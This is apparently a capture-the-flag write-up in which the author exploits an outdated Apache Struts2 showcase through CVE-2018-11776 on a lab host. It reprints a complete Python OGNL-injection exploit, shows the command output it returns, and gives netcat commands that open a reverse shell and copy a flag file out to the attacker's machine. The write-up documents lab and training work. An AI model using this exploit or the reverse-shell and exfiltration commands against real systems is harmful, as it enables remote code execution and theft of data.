It’s just an outdated misconfigured Apache Struts.
Application Overview
Visiting our application at http://http://172.16.67.149:8080 we seem to get a showcase for Apache Struts2.

Figure 1 - Struts2 Showcase
I have no knowledge about Struts, as well as it seems the page contains the default examples. Let’s try to pwn it without going into the detail how Struts actually works…
Searching for CVE’s
Opening cvedetails.com we are greeted with some red boxes right away. CVE-2018-11776 looks pretty nice, it has a CVSS score of 9.3 and was published only a few months ago. It requires the precondition that alwaysSelectFullNamespace to be set to true as described in the announcement blog post, and we do not know the version of Struts greeting us. But this simply means our success is not guaranteed, but still possible.
There are multiple exploits linked in exploit-db.com. I just went with the first one which is a simple python script:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
print "[Url]: {}\n\n\n".format(url)
try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
I copied the script into exploit_db_45262.py. Let’s try out if the exploit is working on our target:
$ ./exploit_db_45262.py 172.16.67.149:8080 "ls"
[Execute]: ls
[Url]: http://172.16.67.149:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27ls%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
tmp
velocity.log
webapps
work
The output looks pretty nice. We verified the exploit is working, let us simplify our life and build a reverse shell to poke around on the server in an interactive manner.
A simple reverse shell
To do this we use a simple reverse shell using netcat. It requires tools found on any typical Linux system and is therefore pretty easy to invoke.
On our system, we open a listening port to which our target can connect to:
$ nc -lvp 1234
On the target, we need to start the reverse shell which connects back to us using netcat as well. After connecting, it starts /bin/sh on the remote host and links stdin/stdout to the TCP connection, which allows us to execute shell commands remotely:
$ ./exploit_db_45262.py 172.16.67.149:8080 "nc 172.16.67.148 1234 -e /bin/sh"
After connecting, we can try to find the flag. In our case find / -name "*hearts*" proved successful, and we were able to extract a valid flag:
$ find / -name "*hearts*"
/usr/local/tomcat/tmp/10_of_hearts
$ md5sum /usr/local/tomcat/tmp/10_of_hearts
38b8c45772c8d254144d4e4f597bc81a /usr/local/tomcat/tmp/10_of_hearts
I also extracted the flag found on the server, just for fun. Now we send /usr/local/tomcat/tmp/10_of_hearts to our system using netcat:
$ nc -lvp 1234 > 10_of_hearts.png &
$ ./exploit_db_45262.py 172.16.67.149:8080 "nc 172.16.67.148 1234 < /usr/local/tomcat/tmp/10_of_hearts"
10_of_hearts.png

Figure 2 - Retrieved 10_of_hearts.png